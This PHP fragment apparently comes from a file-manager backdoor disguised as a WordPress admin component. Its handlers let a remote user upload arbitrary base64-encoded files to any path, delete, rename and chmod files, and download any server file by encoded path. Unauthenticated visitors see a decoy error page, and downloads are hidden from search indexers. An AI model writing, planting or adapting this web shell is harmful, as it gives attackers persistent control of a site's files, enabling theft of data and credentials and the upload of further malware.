            case 'wpa_mkdir':
                if (@mkdir($data, 0755, true)) {
                    echo json_encode(['success' => true]);
                } else {
                    echo json_encode(['success' => false, 'error' => 'Cannot create directory']);
                }
                break;
                
            case 'wpa_upload':
                $params = json_decode($data, true);
                $targetPath = $params['path'] ?? getcwd();
                $fileName = $params['name'] ?? 'upload';
                $content = base64_decode($params['content'] ?? '');
                
                $destination = $targetPath . DIRECTORY_SEPARATOR . $fileName;
                
                if (@file_put_contents($destination, $content)) {
                    echo json_encode(['success' => true]);
                } else {
                    echo json_encode(['success' => false, 'error' => 'Cannot upload file']);
                }
                break;
                
            case 'wpa_delete':
                $path = realpath($data);
                
                if (!$path) {
                    echo json_encode(['success' => false, 'error' => 'Invalid path']);
                    break;
                }
                
                if (is_dir($path)) {
                    $result = @rmdir($path);
                } else {
                    $result = @unlink($path);
                }
                
                if ($result) {
                    echo json_encode(['success' => true]);
                } else {
                    echo json_encode(['success' => false, 'error' => 'Cannot delete item']);
                }
                break;
                
            case 'wpa_rename':
                $params = json_decode($data, true);
                $old = $params['old'] ?? '';
                $new = $params['new'] ?? '';
                
                if (@rename($old, $new)) {
                    echo json_encode(['success' => true]);
                } else {
                    echo json_encode(['success' => false, 'error' => 'Cannot rename item']);
                }
                break;
                
            case 'wpa_chmod':
                $params = json_decode($data, true);
                $path = $params['path'] ?? '';
                $perms = $params['perms'] ?? '';
                
                if (@chmod($path, octdec($perms))) {
                    echo json_encode(['success' => true]);
                } else {
                    echo json_encode(['success' => false, 'error' => 'Cannot change permissions']);
                }
                break;
                
            default:
                echo json_encode(['success' => false, 'error' => 'Unknown action']);
        }
    } catch (Exception $e) {
        echo json_encode(['success' => false, 'error' => 'Operation failed']);
    }
}

// Handle download
if (isset($_GET['wp_action']) && $_GET['wp_action'] === 'wpa_download' && isset($_GET['data'])) {
    if (wp_check_admin_auth()) {
        $path = realpath(base64_decode($_GET['data']));
        if ($path && file_exists($path) && is_file($path)) {
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($path) . '"');
            header('Content-Length: ' . filesize($path));
            header('X-Robots-Tag: noindex, nofollow');
            readfile($path);
            exit;
        }
    }
}

// Main flow
if (!wp_check_admin_auth()) {
    wp_show_error_page();
} else {
    wp_admin_interface();
}